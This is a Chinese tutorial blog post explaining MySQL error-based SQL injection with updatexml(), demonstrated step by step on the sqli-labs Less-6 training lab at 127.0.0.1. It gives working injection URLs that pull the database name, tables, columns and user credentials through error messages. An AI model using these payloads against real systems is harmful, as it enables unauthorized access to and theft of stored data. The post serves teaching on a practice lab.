updatexml()报错注入

本章要点

报错注入的原理

报错注入(Error-based SQL Injection)是一种通过故意触发数据库错误,并利用错误信息中泄露的敏感数据来实施攻击的SQL注入技术。其核心原理是利用数据库的异常处理机制将攻击者需要的数据嵌入错误信息中返回

报错注入的大致思路

1.触发数据库错误
攻击者通过构造恶意输入,使数据库执行非法操作(如语法错误、类型转换错误、函数滥用等)。
例如,在MySQL中,updatexml()extractvalue()等函数需要特定的参数格式(如XPath),若参数不合法则会报错。
2.将敏感数据注入错误信息
在触发错误的函数中,嵌入子查询(如SELECT语句),使得数据库执行时会将查询结果拼接到错误信息中。
例如: updatexml(1,concat(0x7e, (SELECT database())), 1)
concat(0x7e, ...) 将查询结果与~(ASCII码0x7e)拼接,导致XPath格式非法。
报错信息会显示:XPATH syntax error: '~database_name',从而泄露数据库名。
3.逐步提取数据
通过多次注入,逐层获取数据库名、表名、字段名和具体数据。
例如:extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1)))

本章最重要的函数

updatexml()

语法

函数updatexml(XML document,XPath string,new_value) 包含三个参数
第一个参数:XML document是string格式,为XML文档对象的名称,例如Doc
第二个参数:XPath string是路径,XPath格式的字符串
第三个参数:new_value,string格式,替换查找到的符合条件的数据

updatexml()的作用

updatexml() 是 MySQL 中用于修改 XML 文档的函数,但它常被攻击者利用进行报错注入,核心原因在于其参数校验机制不严格和错误信息回显敏感数据的特性。

updatexml()为何可以报错注入

关键在于 XPath 语法校验错误信息回显
1,XPath 语法校验:
非法字符触发错误:如果 XPath_string 参数不符合 XPath 语法规则(例如包含特殊符号 ~# 等),MySQL 会抛出错误。
2,错误信息包含动态内容:
子查询结果被拼接:若 XPath_string 中包含动态生成的子查询(如 SELECT 语句),数据库会先执行子查询,再将结果拼接到 XPath 字符串中。
错误信息泄露数据:由于 XPath 不合法,MySQL 的报错信息会包含拼接后的字符串,从而暴露子查询的结果。

因为我们只需要第二个参数,所以第一个参数仅需满足字符串格式,无需有效XML文档;第三个参数不影响报错逻辑

substring()

substring()的必要性:
说明:MySQL报错信息长度限制(默认64字符,但updatexml()只能显示32个字符),需分次截取数据,避免数据被截断
(注:substring()是标准SQL函数,substr()是简写形式,部分数据库(如Oracle)仅支持SUBSTR())

substring()的作用

substr() 是 SQL 中用于截取字符串的一部分的函数,常用于以下场景:
1,分段提取数据(如绕过数据库错误信息的长度限制)。
2,处理字符串格式(如提取特定位置的字符)。
3,在 SQL 注入中,用于分批次获取敏感数据(例如表名、字段值)。

语法

substring(str, start, length)
str:需要截取的原始字符串。
start:截取的起始位置(注意:索引通常从 1 开始,部分数据库如 MySQL 支持从 1 开始)。
length(可选):截取的长度。若省略,则默认截取到字符串末尾。

示例

本示例为sqli-labs 6
在这里插入图片描述

1.添加注入点

在这里插入图片描述

http://127.0.0.1/sql/Less-6/
?id=1

2.判断闭合方式

通过添加'"判断闭合方式
在这里插入图片描述

http://127.0.0.1/sql/Less-6/
?id=1"

3.查询数据库

利用updatexml()函数通过报错得到想要的的信息
在这里插入图片描述

http://127.0.0.1/sql/Less-6/
?id=1" and 1=updatexml(1,concat(0x23,(select database())),3) --+

4.查询表名

在这里插入图片描述

http://127.0.0.1/sql/Less-6/
?id=1" and 1=updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

5.查询列

在这里插入图片描述

http://127.0.0.1/sql/Less-6/
?id=1" and 1=updatexml(1,concat(0x23,(select group_concat(column_name) frominformation_schema.columns where table_schema=database() and table_name='users')),3) --+

6.查询字段

在这里插入图片描述

http://127.0.0.1/sql/Less-6/
?id=1" and 1=updatexml(1,concat(0x23,substr((select group_concat(concat_ws(id,username,password)) from users),1,30)),3) --+

总结

所谓报错注入,就是利用数据库的报错,来获取敏感信息,只需要添加updatexml()函数 剩下的步骤和字符型注入一样

如有问题欢迎在评论区讨论

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值